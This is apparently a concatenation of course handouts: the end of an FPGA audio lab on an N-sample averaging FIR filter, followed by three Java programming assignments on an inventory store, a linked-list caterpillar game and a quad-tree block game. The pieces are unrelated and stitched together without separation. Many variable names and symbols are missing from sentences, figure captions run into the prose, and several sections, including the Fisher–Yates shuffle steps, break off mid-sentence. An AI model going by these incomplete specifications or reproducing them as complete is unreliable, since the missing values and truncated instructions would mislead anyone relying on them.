Conceptually, a basic FIR filter uses registers as delay blocks and computes the moving average from their outputs, as shown in Figure 5.Figure 5: A Finite Impulse Response (FIR) filter that takes a moving average of 8 samples. While this is conceptually what we want to achieve in Task #3, we will use a different implementation, as shown in Figure 6. However, we can achieve the same result using a FIFO buffer and accumulator (i.e., a register whose input is the sum of the next incoming data value and its current stored value), as shown in Figure 6.Figure 6: N-sample averaging FIR filter using a FIFO buffer and accumulator that you will implement in Task #3. To compute the average of the last samples, this circuit first divides the input sample by . Then, the resulting value is stored in a First-In First-Out (FIFO) buffer of length and added to the accumulator. To make sure the value in the accumulator is the average of the last samples, the circuit subtracts the value that comes out of the FIFO, which represents the (+1)th sample. Arithmetic can cause strange behaviors when synthesized onto your board, particularly because are, by default, unsigned data types but we are using them for signed arithmetic: • The most robust way to divide by a power of two is using an arithmetic right shift. The following code snippet uses the replication and concatenation operators to divide the -bit signal by 2 : • Please pay attention to Figure 6 and make sure that you adding multiplied by instead of subtracting. Task #3 is by far the most difficult part of this lab. Here are some tips to help you out: • Carefully consider how to ensure that your FIR filter updates when it is supposed to. As a single system, the FIFO buffer and accumulator should be synchronized together (i.e., at any clock trigger, either both or neither should update). But when should they update based on the CODEC signals? • The description below Figure 6 is accurate once the FIFO buffer is full. However, you should carefully consider what your buffer will do while the first -1 samples are read (i.e., at the beginning or after a reset) and make sure that the value of the accumulator also matches the buffer behavior during this time period. 1) Implement the -sample averaging FIR filter. Use to select between filtered ( ) and unfiltered ( ) audio to output; this filtering should be able to interact with both Task #1 ( ) and Task #2 ( ). 2) Compile and download your overall design to a DE1-SoC board in LabsLand and use to generate your recorded output. 3) Experiment with different values of to see what happens to the noisy audio sample. Use the switch to tell what kind of effect the filter is having on the audio. a) When you change , remember to adjust both the FIFO buffer length and the circuit divisor. We recommend experimenting with values of that are powers of 2 for easier division.Lab Demonstration/Turn-In Requirements In-Person Demo • Demonstrate all working Tasks using , with your FIR filter size set to the “best” length that you found. You will need uploaded. Lab Report (submit as PDF on Gradescope) • Include the required Design Procedure, Results, and Experience Report sections. o You only need to include simulations for modules you have written, you can assume all of the provided files work without simulation. o Task #1: The design can be a short description and/or a small circuit diagram. No simulation needed. o You should omit top-level simulations for this lab, as mimicking the AUD and I2C signals is unreasonable. However, you should still include a top-level block diagram and description. Do not just include Figure 3 – we need to see/know what happens in “Your Circuit”! • Don’t forget to also submit your SystemVerilog files ( ), including testbenches! Lab 3 Rubric Grading Criteria Points Name, student ID, lab number 2 pts Design Procedure ▪ Top-level block diagram can build off of Figure 3 but should include connections between your defined modules. 14 pts Results ▪ No simulations needed for provided/reused modules, Task #1, or top-level module 14 pts Experience Report 6 pts SystemVerilog code uploaded 5 pts Code Style 5 pts LAB DEMO 54 pts 100 pts
Learning Objectives This assignment is meant for you to practice what we have learned in class in the past few weeks. Several of the design decisions have been completed for you, but it is important for you to ask yourself why each choice has been made and whether there could be a better way of doing it. Some of our choices were influenced by the intention of having you practice most of what you have learned in class. Others, were dictated by our need to be able to fully test your assignments. Finally, we will not be grading your work on efficiency for the first assignment, but your implementation decisions can affect how efficient the code for this assignment is. Try to keep this in mind while coding. Make sure to ask yourselves why certain modifiers (private, public, static,…) were used and if you would have made the same decisions. We hope that the assignment will help you appreciate the importance of class design. We suggest you take the time to draw out the UML diagram. This should help you develop a clear picture of the relationship between all these classes. A New Store McGill has decided to unveil a new convenience store in Trottier that sells various food and drink items! You have been asked to program an AI assistant that monitors and handles all the store’s purchases. You have learned objectoriented programming and data structure. The store’s future is in your hands! • We need to represent various products available in the store. Can we use OOD to reduce the amount of copy-and-paste and re-use our implementations as much as possible? • We need to maintain a list of inventory, so we can add, remove, and retrieve items. Can we use a data structure for this? General Instructions • Your first late penalty is waved automatically at the end of the semester. There is no need to make an extra request. • Do not submit any other files, especially .class files and the tester files. Any failure to comply with these rules will give you an automatic 0. • Whenever you submit your files to Ed, you will see the results. If you do not see the results, your assignment is not submitted correctly. If your assignment is not submitted correctly, you will get an automatic 0. If your submission does not compile on ED, you will get an automatic 0. • In addition to the required methods, you are free to add as many other private methods and classes as you want (granted that all of the classes and methods listed below have been made). Unless otherwise specified, no other non-private fields or methods are allowed. • You can also add public toString() methods in each class to help with the debugging process, if you find it helpful. Submission Instructions • These are the files you should be submitting on Ed: – StoreItem.java – Drink.java – FizzWiz.java – SnoozeJuice.java – Snack.java – MyDate.java – ItemList.java – Store.java • You will have to create all the above classes from scratch. You are NOT allowed to import any other class (including for example ArrayList or LinkedList). Any failure to comply with these rules will give you an automatic 0. • Never make copies (neither shallow, nor deep) of any of the objects the methods return or receive as input, unless specified in the instructions. STEP 1: Building in Pieces Let’s start by writing a few abstract classes. These classes should be part of a package named items which is a subpackage of assignment1. StoreItem Write an abstract class StoreItem. • The class StoreItem has the following private fields: – A double indicating the price of the item. – An int representing the happiness index associated with this item. This is what measure of how much joy the item brings when consumed. • The StoreItem class will also have the following public methods: – A constructor that takes as input a double for the price and an int for the happiness index. The constructor uses its inputs to initialize the corresponding fields. If either of the values provided is negative, then an IllegalArgumentException should be thrown. To make the program raise the exception, write the following statement: throw new IllegalArgumentException(errMsg); where errMsg is a String containing an error message of your choice. – A final getPrice() method that retrieves the price of this item. – A getHappinessIndex() method that retrieves the happiness index of this item. – An equals() method that takes an Object as input and returns true if and only if it matches this in type, price, and happiness index. Be careful when comparing double: you do not want to compare values of type double directly! Instead you should consider the two values to be the same if their difference is very small, i.e. less than 0.001. Drink Now, we will write an abstract class called Drink in the same package which extends StoreItem. • The Drink class includes the following public static fields: – An int MAX PACK SIZE representing the maximum number of bottles a drink pack can contain. The default value is 6. – An int BUZZY HAPPINESS BOOST indicating the amount by which the happiness index of a drink will be increased if the drink is buzzy. Set the default value to 1. • The class should also have the following non-static fields: – A protected int representing the number of bottles available in this pack. – A private boolean indicating whether or not this drink is buzzy. Buzzy drinks generate extra excitement when consumed. • The class must also have the following public methods: – A constructor that takes as input a double for the price, an int for the happiness index, an int for the number of bottles, and boolean for the buzziness. The method updates the corresponding fields. Note that the happiness index and price provided for a drink are representative of a single bottle, and not of the entire pack. – A getNumOfBottles() method that retrieves the number of bottles of this drink. – An equals() method that takes an Object as input and returns true if and only if it matches this in type, price, happiness index, and buzziness. You should not be comparing the number of bottles! Note that you do not want to rewrite code that you have already written in the superclass. How can you access methods from the superclass that have been overridden? – A getHappinessIndex() method that overrides the one from StoreItem. For buzzy drinks, their happiness index should be boosted by the amount stored in the appropriate class variable. – A combine() method that takes another Drink as input and, if the input drink is considered equal to the current drink, combines as many bottles from the input drink as possible with this one. The number of bottles for both drinks should be updated to reflect the combination. The method returns true if the drinks were successfully combined (i.e., their number of bottles changed), and false otherwise. Note that no drink can exceed the MAX PACK SIZE number of bottles. For example, assume MAX PACK SIZE is 4, Drink A has 3 bottles in its pack, Drink B has 3 bottles in its pack, and the two drinks are equivalent. Then after executing A.combine(B), A has 4 bottles, B has 2 bottles, and the method returns true. On the other hand, if A had 4 bottles in its pack, A.combine(B) would return false. – An abstract getPortion() method that takes as input an int and returns a Drink. STEP 2: Expanding the Collection Now that we have built some abstract classes, we can construct classes that rely on them! Inside the same package (i.e. items) create the following classes: MyDate • The class has the following private fields: – An int representing the day – An int representing the month – An int representing the year • The class should also include two public static fields: • Finally, the class includes the following public methods – getDay(), getMonth(), getYear() methods that take no argument and return the corresponding field. – An equals() method which takes as input an Object and returns true if it matches this in type, day, month and year. Otherwise, the method returns false. – You can add a toString() method to get it in that lovely YYYY-MM-DD format. Snack We begin by writing a class called Snack which extends StoreItem • The Snack class has the following private fields: • The Snack class also has the following public methods: – A getHappinessIndex() method that overrides the one from StoreItem. For obvious reasons, the happiness gained from consuming a snack plummets when the snack in question tastes a little stale. Hence, if the snack is expired, its happiness index should be halved. FizzWiz Next, we’ll focus on drinks and write a class called FizzWiz, which extends Drink. This class represents a carbonated drink, famous for its bubbly and fizzy quality. • The FizzWiz class should include the following public methods: – A constructor that takes as input a double for the price, an int for the happiness index, and anther int for the number of bottles. Note that FizzWiz is a very buzzy drink! – An equals() method that takes an Object as input and returns true if and only if it matches this in type, price, happiness index, and buzziness. – A getPortion() method that takes as input an int indicating the number of bottles desired. If enough bottles are available in this drink, it returns a new FizzWiz with the specified number of bottles, while also updating the number of bottles in this drink accordingly. The drink returned should be equivalent to this FizzWiz. If there are not enough bottles available, the method should return null. SnoozeJuice Let’s now add another subclass of Drink named SnoozeJuice. This represents a relaxing drink like herbal tea, designed to help someone unwind or sleep – just the right beverage our students need before an intense study session! Like herbal teas, this beverage can be served hot or cold, so we should include a private double field to track its temperature (in Celsius). • The class should have the following private field. – A double representing the temperature in Celsius. • The class should also have the following public methods: – A constructor that takes as input a double for the price, an int for the happiness index, anther int for the number of bottles, and one more double for the temperature. As you can guess, snooze juices are not buzzy at all! – An equals() method that takes an Object as input and returns true if and only if it matches this in type, price, happiness index, buzziness, and temperature. Remember that when comparing doubles you should look at their difference and ensure it is smaller than 0.001. – A getPortion() method that takes as input an int indicating the number of bottles desired. If enough bottles are available in this drink, it returns a new SnoozeJuice with the specified number of bottles, while also updating the number of bottles in this drink accordingly. The SnoozeJuice returned should be equivalent to this one. If there are not enough bottles available, the method should return null. STEP 3: Adding a Data Structure Before we create our store, it would be nice to dynamically adjust the type and size of our offerings. To do this, we will create our own ItemList class. • The class will be part of the assignment1 package. We want to stress once again that you are not allowed to import any external classes for this assignment. You will have to import at least one class from assignment1.items. • The ItemList class should have the following private field: – An array of StoreItems which will be used to store the items that are part of the ItemList. • The class should also have the following public methods: – A getSize() method that takes no inputs and returns the number of items that are in the ItemList – A getAllItems() method that takes no input and returns all the items in the ItemList (in any order) in a StoreItem array. This array should not contain any unnecessary duplicates or null elements and should be exactly the size returned by this.getSize(). – A removeItem() method that takes a StoreItem as input and returns a StoreItem. The method removes the first occurrence of an item in the list that is equivalent to the specified item. The removed item is then returned by the method. If no such item exists, the method returns null. – A findEqualItems() method that takes as input a StoreItem and returns an array of StoreItems containing all of the items from this list that are equivalent to the specified one. If no equivalent items are found, the method returns an array of size 0. • In this class, you are permitted to add additional private fields, along with any private methods you find necessary. STEP 4: Finalizing the Store Now that the basis is complete, it is time to create our store! • The Store class belongs to the package assignment1. Inside it, you can import all classes from assignment1.items. • The class has the following private fields: – An ItemList, representing the items available at the store – A double representing the total revenue of the store • The Store also has the following public methods: – A constructor that takes as input an ItemList, and updates the corresponding fields. Note that the store will initially have zero revenue. – Two get methods getRevenue() and getItems() to retreive the values stored in the respective fields. – A cleanUp() method that takes no inputs and returns no value. The method goes through the store’s inventory and tosses out any snacks that have gone stale – nobody likes expired goodies! – A refillDrinkInventory() method that takes an array of Drinks as input and helps restock the store. But watch out – space at McGill is limited, so every bottle counts! If we already have some bottles of the same drink in stock, be sure to squeeze them together as efficiently as possible. Only add a new drink to the shelves if there’s really no more room. Note that, you cannot make any assumptions about the number of bottles in each drink item. Rubric Here is a description that outlines what you need to demonstrate to achieve a particular competency level (Proficiency, Approaching Mastery, Mastery). • Proficiency: At this level, you are expected to demonstrate a good understanding of basic object-oriented programming (OOP) concepts. The tasks at this level involve a straightforward application of what has been covered in class. This includes implementing constructors, getters, and simple methods to handle core functionality, such as managing the price and happiness index of store items, adding items to an ItemList, and overriding equals() where needed to ensure proper comparison of store items. Achieving proficiency means you are able to apply these fundamental concepts correctly and confidently, even if the problems are simple and familiar. • Mastery: At this level, you are expected to demonstrate a deep understanding of objectoriented programming by combining various pieces of what you’ve learned to solve new problems. You will need to design simple algorithms that weren’t directly presented in class, applying your knowledge in real-world scenarios. This includes creating methods like completeSale() and refillDrinkInventory(), where you manage dynamic changes to inventory and handle partial sales. These tasks require not only method overriding but also thoughtful interaction between objects, demonstrating your ability to handle polymorphism, dynamic object manipulation, and more advanced OOP techniques effectively. Mastery also involves recognizing and handling edge cases, ensuring that your solutions are robust. Successfully achieving mastery shows that you can think creatively, combine existing tools and knowledge in new ways, and design algorithms that address the complexities of real-world situations.
Learning Objectives In this assignment, you will get some experience working with linked lists and stacks. You will implement a data structure for a fun application. Starting with this assignment we will start to focus also on the efficiency of your algorithms. You will learn to look at code with a more critical eye, without only focusing on the correctness of your methods. General Instructions For this assignment need to download the files provided. Your task is to complete and submit the following files: Caterpillar.java • Please make sure that the file you submit is part of a package called assignment2. • You are NOT allowed to use any class other than those that have already been imported for you. Any failure to comply with these rules will give you an automatic 0. • Do NOT start testing your code only after you are done writing the entire assignment. It will be extremely hard to debug your program otherwise. If you need help debugging, feel free to reach out to the teaching staff. When doing so, make sure to mention what is the bug you are trying to fix, what have you tried to do to fix it, and where have you isolated the error to be. • Read through the description of all of the methods before starting to code. This will give you an idea of the general assignment and might help you decide on how to better organize your code (e.g. what could be a good private helper method to add?) Submission Instructions • Your first late penalty is waved automatically at the end of the semester. There is no need to make an extra request. • Do not submit any other files, especially .class files and the tester files. Any failure to comply with these rules will give you an automatic 0. • Whenever you submit your files to Ed, you will see the results. Your assignment is not submitted correctly if you do not see the results. If your assignment is not submitted correctly, you will get an automatic 0. If your submission does not compile on ED, you will get an automatic 0. • In addition to the required methods, you are free to add as many other private methods and classes as you want (granted that all of the classes and methods listed below have been made). Unless otherwise specified, no other non-private fields or methods are allowed.The Very Hungry Caterpillar Once upon a time, in a lush colorful meadow nestled between the rolling hills of MunchGill Valley, there lived a peculiar caterpillar named Gus. Now, Gus was no ordinary caterpillar. He had an insatiable appetite and an adventurous spirit that was as boundless as its stomach was bottomless. Gus’s favorite pastime was munching on delectable delicacies, and he had a particular fondness for trying new foods. One fine day, as he slithered along the meadow, he stumbled upon a magical patch of food that seemed to have an endless variety of treats – from succulent strawberries to Swiss cheese, and even shimmering stardust-infused snacks! This enchanted patch of food, however, came with a twist. Each time Gus indulged in a new treat, he magically transformed – he’d grow longer, shrink down, or hilariously flipFigure 1: Gus. An AI generated image from Canva’s Magic Media tool, created from the prompt ‘Gus, a colorful caterpillar with a big appetite and an adventurous spirit’.himself upside down. It didn’t matter though; Gus loved the adventure of it all and kept munching away. The students, eager to prove their skills, were thrilled by the task. They knew that, like Gus, they’d need to navigate some tricky twists and turns. They would need to use their knowledge of linked lists to represent Gus’s ever-changing body, ensuring that each segment of its wiggly form reflected its latest delicious bite. With wands (or rather, keyboards) in hand, the students set out to turn Gus’s gluttonous journey into a whimsical and hilarious game. As they coded, they knew they weren’t just crafting a program—they were bringing Gus’s unpredictable world to life, one bite at a time. What’s more, they began to realize that this journey, much like Gus’s, would teach them lessons beyond just data structures—lessons of efficiency, logic, and, of course, how to have fun with their code. And so, the fate of Gus’s gluttonous escapades was left to these budding computer scientists. Armed with their knowledge of singly linked lists, they embarked on their coding adventure, determined to craft a game worthy of Gus’s boundless appetite. Starter code Completed class You will need to understand how to use the following classes, but you should not modify them. • assignment2 package – A EvolutionStage.java, representing 4 different stages of the caterpillar with java enumeration. An enumeration is a special data type that represents a fixed set of constants. All you need to know for this assignment is that you can compare enumeration values using == and !=. For instance, EvolutionStage stage == EvolutionStage.FEEDING STAGE is a valid boolean expression. – A GameColors.java, representing 5 different colours that the caterpillar can have. – A Position.java, representing the position, defined by the x and y coordinates, in a 2-dimensional world. – A MyStack.java implements a stack with Java generic types. • assignment2.food package – This package contains all the classes representing the possible food items the caterpillar might encounter while slithering along the meadow. You can look inside these files to see what can be useful to you, but you should not modify them! The Caterpillar class You need to modify the Caterpillar.java in order to complete this assignment. A caterpillar will be represented as a singly linked list of Segments. A nested class Segment is in Caterpillar.java, A Segment stores the following information: • A Position, representing where this segment is (see Position.java). Throughout this pdf, we will represent such objects using the ordered pair (x, y). • A Color, representing the color of this specific segment. The colors of the segments will mostly depend on what the caterpillar has eaten in order to have gained those segments. • A Segment, representing the next segment in the body of the caterpillar. If this is the last body segment, then this field will be null. Each caterpillar is defined by the following fields: • Segment head : a reference to the head of the caterpillar • Segment tail : a reference to the last segment in the caterpillar’s body • int length : the number of segments in the caterpillar’s body • EvolutionStage stage : the stage in which the caterpillar finds itself. EvolutionStage is an enumeration. • MyStack positionsPreviouslyOccupied : all the positions previously occupied by the caterpillar with the most recent one on the top of the stack (this will become more clear once you read the description of the methods below). We will represent the stack as a list of elements between square bracket: the element at the top of the stack will be the right most one, while the element at the bottom of the stack will be the left most. • int goal : the number of segments the caterpillar aspires to in order to be able to become a wonderful butterfly. • int turnsNeededToDigest : the number indicating how many turns are left before the caterpillar is ready to take its next bite (see the method definitions below for more information). • static Random randNumGenerator : To use it, you must follow the following guidelines: – Do NOT assign a new reference to this variable. In fact, you should never in your code create a new Random object. – If asked to generate a random number you must use randNumGenerator. – You should generate random numbers only when it is strictly necessary. If in your code you fail to respect the guidelines above, your methods will probably not behave how we expect them to, leading to some tests possibly failing. Each caterpillar is defined by the following methods: • toString(): it has been implemented to make debugging a little easier for you. The method returns a string representing a caterpillar. The string contains the positions of each of the segments. The right most pair of coordinates represents the position of the head, while the left most represents the position of the tail. The color of the segment is used to color the text. So, for example, if we have a caterpillar with a red head in position (3,1), a second yellow segment in position (2,1), and its last blue segment in position (2,2), then toString() will return the following string: (2,2) (2,1) (3,1) • move(): the method that you need to implement in order to move the caterpillar. • eat(): this method has been overloaded for various food. You will need to provide the implementation. The methods are listed in the order of difficulty, but you don’t need to implement them in that order. Note that, all the fields of the Caterpillar class as well as the nested class Segment have been left public just to make testing easier on our side. As discussed in class, in general, you would want to keep as much as you can private and instead provide public getters/setters when needed. Step 1: Growing the Basics In this section, you’ll start by laying down the groundwork for your caterpillar, Gus. The tasks here will focus on implementing the foundational methods that allow Gus to grow, move, and interact with its surroundings. These basic operations are essential for understanding how linked lists function in Java, and they will provide you with the building blocks to handle more complex tasks later on. Take your time understanding how to implement this part carefully! • Caterpillar(Position p, Color c, int goal) : creates a caterpillar with one single segment of the given color, in the given position. The input goal is used to set the number of segments the caterpillar needs to acquire before becoming a butterfly. Whenever a caterpillar is first created, it finds itself in a feeding stage, ready to devour every delicacy within its reach. This method runs in O(1). • getSegmentColor(Position p) : returns the color of the segment in the given position. If the caterpillar, does not have a segment placed upon the given position, then the method returns null. This method runs in O(n), where n is the number of segments. • eat(Fruit f) : this foundational food group is the basis of growth for our wiggly friend. With each fruit bite, the caterpillar grows longer by getting a new segment added matching the color of the fruit ingested. The new segment should be added at the tail of the caterpillar, and its position should be the most recent position previously occupied by the caterpillar. Make sure to update all relevant fields to represent this growth. This method runs in O(1). • move(Position p) : if possible the caterpillar moves its head (and all its body) to the input position. If the input position is out of reach, i.e. if when seen as a point on a Cartesian plane it is not orthogonally connected to the head’s position, then an IllegalArgumentException should be raised. If the position is within reach, but it is already occupied by a segment of the caterpillar’s body, then moving will generate a collision leading to the caterpillar being in an ENTANGLED stage (unfortunately, caterpillars do not recover from this stage and the game will end.). If on the other hand, the position is reachable and moving to it would not lead to a collision, then the body of the caterpillar should be updated accordingly: all the positions in the segments should be updated to represent the caterpillar moving forward to the input position, while the colors remain the same. For example, below is the representation of a caterpillar before and after the move to the position (4,1): (2,2) (2,1) (3,1) (2,1) (3,1) (4,1) Or, using the representation with the Cartesian plane, this is how the caterpillar would change:The method should update the stack keeping track of the previously occupied positions accordingly (e.g., in the example above, the top of the stack would have become (2,2)). This method runs in O(n), where n is the number of segments. Safe Assumptions Throughout the assignment you can always assume the following: • The caterpillar will always move before attempting to eat. • The caterpillar will eat only when it is in a feeding stage. • The methods will be tested only on valid inputs: null is not a valid input for any of the methods! • The goal will always be initialized with a value greater than 1. • None of the methods will be called if the caterpillar is in a butterfly or entangled stage. Step 2: Tricky Treats Now that Gus is up and running, it’s time to deal with the more peculiar foods he encounters on its journey. In this section, you’ll implement methods to handle the quirky consequences of Gus eating pickles, lollipops, and ice cream. Each food brings its own challenge, requiring you to manipulate Gus’s body in more complex ways. • eat(Pickle p) : the sourness of the pickle makes the caterpillar retrace its steps. This method updates its segments accordingly. Note that the position where the pickle was found should not be added to the stack of previously occupied positions. For instance, suppose we have the following caterpillar: (2,2) (2,1) (3,1) And suppose that the most recent position previously occupied by this caterpillar is (2,3). Then, after eating a pickle the caterpillar will have the following segments: (2,3) (2,2) (2,1) It might be easier to picture those segments in a Cartesian plane. If you do so, this is how the caterpillar would change in the example above:This method runs in O(n), where n is the number of segments. • eat(Lollipop lolly) : this swirl of colors makes our caterpillar longing for a playful makeover. Shuffle all the caterpillar’s colors! There are different ways of doing this, but for this assignment you will need to implement the method using the Fisher–Yates shuffle algorithm. The algorithm runs in O(n) using O(n) space, where n is the number of segments. To perform a shuffle of the colors follow the steps: – Copy all the colors inside an array – Shuffle the array using the following algorithm: for i from n-1 to 1 do j
GitHub: https://classroom.github.com/a/xdIkmKdl Learning Objectives By the end of this assignment, you will be able to model hierarchical data using trees. You will also be comfortable implementing recursive methods which take advantage of the fact that the data structure you are working with is recursively defined. You will learn how to convert a tree into a flat, two-dimensional structure, and, finally, you will strengthen your knowledge and your comfort with using inheritance in Java. General Instructions – BlobGoal.java – Block.java – BlockGame.java – BlockToDraw.java – Goal.java – PerimeterGoal.java This assignment contains 3 parts. Your task is to complete and submit the following files: – Block.java – PerimeterGoal.java – BlobGoal.java – Do not change the folder structure (including the package name) of the starter code. – If you found that you have to change the folder structure to make it work in IntelliJ, there are probably problems with you IntelliJ setup for the “root of the source code”. Make sure IntelliJ recognizes the src folder as the root for your source code. You can check for more information at this link: https://www.jetbrains.com/help/idea/ content-roots.html#configure-folders. – Do not change any given code (e.g., names of the classes or methods, return types or parameters, etc). – Do not add any additional import statements even if those import statements are not used. • You are NOT allowed to use any class other than those that have already been imported for you. • Any failure to comply with these rules will give you an automatic 0. • You will get 0 if your code does not compile. We are not fixing compilation errors for you even if the compilation error is caused by a small typo! Make sure that your code is compilable. • Do NOT start testing your code only after you are done writing the entire assignment. It will be extremely hard to debug your program otherwise. A good practice is to do unit tests: test each unit (a method) whenever you finish writing one. If you need help debugging, feel free to reach out to the teaching staff. When doing so, make sure to mention what is the bug you are trying to fix, what have you tried to do to fix it, and where have you isolated the error to be. Submission instructions • All your work must be submitted on GitHub. Similar to the previous assignments, you can begin by accepting the assignment at https://classroom.github.com/a/xdIkmKdl. Subsequently, a repository naming assignment-3-*** will be created for you (*** is your GitHub username). You can then clone the repository, and work on it. If you want to recap the instructions to setup GitHub, clone your repository and submit your code, you can refer to the instructions of weekly assignment 1 (https://classroom.github.com/a/8qHfdL6n). • Don’t worry if you realize that you made a mistake after you submitted: you can git push multiple times but only the latest submission will be graded. Regularly pushing your work with well-documented commits is an encouraging practice to stay on track with your changes. You will be using the following commands. – git add * – git commit –m “your commit message” – git push • Do not submit any other files, especially .class files and the TESTER files. You are welcome to share your tester code with other students on Ed. Try to identify tricky cases. Do not hand in your tester code. • If you have any questions related to your grade, you can request a regrade within 7 days after the release of the grade by posting a private post on Ed and including your McGill ID. Introduction The Game The game is played on a randomly-generated game board made of squares of four different colors, such as the following:There are three kinds of moves a player can do: • rotating a block (clockwise or counterclockwise), • reflecting the block horizontally or vertically (i.e. along the x-axis or the y-axis if you imagine the origin of the axes being place in the center of the block), and • “smashing” a block (giving it four brand-new, randomly generated, sub-blocks). After each move, the player sees their score, determined by how well they have achieved their goal. The game continues for a certain number of turns, and the player with the highest score at the end is the winner. The Game Board We will call the game board a “block”. Blocks can be recursively defined; a block is either: • a square of one color, or • a square that is subdivided into 4 equal-sized blocks. The largest block of all, containing the whole structure, is called the top-level block. We say that the top-level block is at level 0 (i.e. it would be at the root of the quad-tree used to represent it). If the top-level block is subdivided, we say that its four sub-blocks are at level 1 (i.e. these would correspond to the children of the root in the aforementioned quad-tree). More generally, if a block at level k is subdivided, its four sub-blocks are at level k + 1. A board will have a maximum allowed depth, which is the number of levels down it can go. A board with maximum allowed depth 0 would not be fun to play on since it couldn’t be subdivided beyond the top level, meaning that it would be of one solid color. The following board was generated with maximum depth 5:For scoring, the units of measure are calculated based on the blocks at the maximum allowed depth. We will call these blocks unit cells. Moves To achieve their goal, the players are allowed to make the three type of moves described above. Note that, smashing the top-level block is not allowed, since that would be creating a whole new game. And smashing a unit cell is also not allowed, since it’s already at the maximum allowed depth. What makes moves interesting is that they can be applied to any block at any level. For example, if the player selects the entire top-level block (highlighted) for this boardand chooses to rotate it counter-clockwise, the resulting board would be the following:But if instead, on the original board, they choose to rotate (still counter-clockwise) the block at level 1 in the upper left-hand corner, then the resulting board would be the following:Finally, if instead they choose to rotate the block a further level down, still sticking to the upper-left corner, they would get this:Of course, the player could have chosen many other possible blocks on the board and they could have decided to perform a different type of move. Goals and Scoring • Blob goal. The player must aim for the largest “blob” of a given color c. A blob is a group of orthogonally connected blocks with the same color. That is, two blocks are considered connected if their sides touch; touching corners does not count. The player’s score is the number of unit cells in the largest blob of color c. • Perimeter goal. The player must aim to put the most possible units of a given color c on the outer perimeter of the board. The player’s score is the total number of unit cells of color c that are on the perimeter. There is a premium on corner cells: they count twice towards the score. Notice that both goals are relative to a particular color. We will call that the target color for the goal. PART – 0: Familiarize yourself with the starter code Let’s start by getting comfortable with the code provided and the idea behind the block data structure. As mentioned in the introduction, we will be using a quad-tree to represent the structure of a block. Quad-trees are trees in which each internal node has exactly four children. It would not make sense for us to use a tree in which nodes could have a different number of children, say three. This is because a block is either solid-colored or subdivided; if it is solid-colored, it is represented by a node with no children (i.e. a leaf), and if it is subdivided, it is subdivided into exactly four sublocks. Open the Block.java file and familiarize yourself with the provided code in this class. Note that the class has the following fields: • Two ints, xCoord and yCoord, representing the coordinates of the upper left corner of this Block. Note that the origin, (0,0), is the top left corner of the window. The window has the following coordinates: (0,0) (1,0) (2,0) → (0,1) (1,1) (2,1) (0,2) (1,2) (2,2) ↓ • An int size representing the height and width of this Block. Since all blocks are square, one variable is enough to represent both. • An int level representing the level of this Block within the overall block structure. The top-level block, corresponding to the root of the tree, is at level 0. As already noted, if a block is at level i, its children will be at level i + 1. • An int maxDepth representing the deepst level allowed in the overall block structure. • A Color color. If this block is not subdivided (i.e. if it is a leaf), then this field stores its color. Otheriwse, this field should be null. • A Block[] children representing the blocks into which this block is subdivided. The children are stored in this order: upper-right child, upper-left child, lower-left child, lower-right child. If this Block has no children, then this field should store a reference to an array of length 0. Before beginning to write your own code to complete the implementation of this class, let’s get more comfortable with the Block structure. Start by drawing on paper the quad-tree representing game board from Figure 1 (assuming the maximum depth is 2):Figure 1: A Block with max depth 2 Now that you can draw the block structure on paper, can you translate it into code? Inside the main method of the Block class, create a Block object that corresponds to the same game board above. You can access constants representing the Colors needed from the class GameColors. Once you have created the board, you can display its text representation using the method printBlock() provided to you. If the structure has been created correctly the following should be displayed: pos=(0,0), size=16, level=0 GREEN, pos=(8,0), size=8, level=1 RED, pos=(0,0), size=8, level=1 YELLOW, pos=(0,8), size=8, level=1 pos=(8,8), size=8, level=1 BLUE, pos=(12,8), size=4, level=2 RED, pos=(8,8), size=4, level=2 YELLOW, pos=(8,12), size=4, level=2 BLUE, pos=(12,12), size=4, level=2 Invariants. While thinking about the block structure, you might have noticed that each nodes must satisfy a lot of invariants for the tree to correctly represent a Block, such as: • Nodes have either 4 children or 0. • If this Block has children then: – their maxDepth is the same as the one of this Block – their size is half that of this Block – their level is one greater than that of this Block – the position of their upper left corner can be determined from their size and the position of the upper left corner of this Block (I’ll leave it up to you to figure out how). – the color of this Block is null • level is always smaller than or equal to maxDepth PART – I: Set up the board (30 points) With a good understanding of the data structure, you are now ready to start working on the completion of the class Block. [10 points] For the game, we want to be able to generate random boards. This is what the constructor Block(int lvl, int maxDepth) is for. The method generates a random Block with level lvl, and maximum depth maxDepth using the following the strategy: if a Block is not yet at its maximum depth, it can be subdivided. Decide whether or not to do so as follows: • Subdivide the block if the random number is less than Math.exp(-0.25 * level), where level is the level of the Block within the tree. • If a Block is not going to be subdivided, use a random integer to pick a color for it from the array of colors in GameColors.BLOCK COLORS. Make sure to generate the integer in the appropriate range. This constructor is responsible for assigning the appropriate values to the fields of all Blocks within the Block it generates except the fields size, xCoord, and yCoord which should be instead initialized by default. Next, you will write a method that can be used to correctly initialize all these fields. If you use the seed 2 when initializing the Random variable gen on line 17 of Block.java, then when executing the following snippet of code Block blockDepth2 = new Block(0,2); blockDepth2.printBlock(); the text below will be displayed: pos=(0,0), size=0, level=0 GREEN, pos=(0,0), size=0, level=1 RED, pos=(0,0), size=0, level=1 YELLOW, pos=(0,0), size=0, level=1 pos=(0,0), size=0, level=1 BLUE, pos=(0,0), size=0, level=2 RED, pos=(0,0), size=0, level=2 YELLOW, pos=(0,0), size=0, level=2 BLUE, pos=(0,0), size=0, level=2 [10 points] Implement the method updateSizeAndPosition(). This method takes three integers as input: one representing the size of this block, and the others representing the coordinates of the upper left corner of this block. The method updates the size and position for this block and all of its sub-blocks, while ensuring consistency between the values of the fields and the relationship of the blocks. Make sure the invariants are all respected! The method should throw an IllegalArgumentException is the input for the size is invalid, i.e. if it is negative or it cannot be evenly divided into 2 integers until the max depth is reached. There’s no need to perform any input validation for the coordinates. If you use the seed 2 when initializing the Random variable gen on line 17 of Block.java, then when executing the following snippet of code Block blockDepth2 = new Block(0,2); blockDepth2.updateSizeAndPosition(16, 0, 0); blockDepth2.printBlock(); the text below will be displayed: pos=(0,0), size=16, level=0 GREEN, pos=(8,0), size=8, level=1 RED, pos=(0,0), size=8, level=1 YELLOW, pos=(0,8), size=8, level=1 pos=(8,8), size=8, level=1 BLUE, pos=(12,8), size=4, level=2 RED, pos=(8,8), size=4, level=2 YELLOW, pos=(8,12), size=4, level=2 BLUE, pos=(12,12), size=4, level=2 [10 points] In order for the game to be able to draw the blocks you can now generate, you need to provide an implementation for the method getBlocksToDraw(). The method returns an ArrayList of BlockToDraws. Open the file BlockToDraw.java to familiarize yourself with this data type. The list returned by getBlocksToDraw() should contain, for each undivided Block: • one BlockToDraw in the color of the block • another BlockToDraw in the FRAME COLOR (see 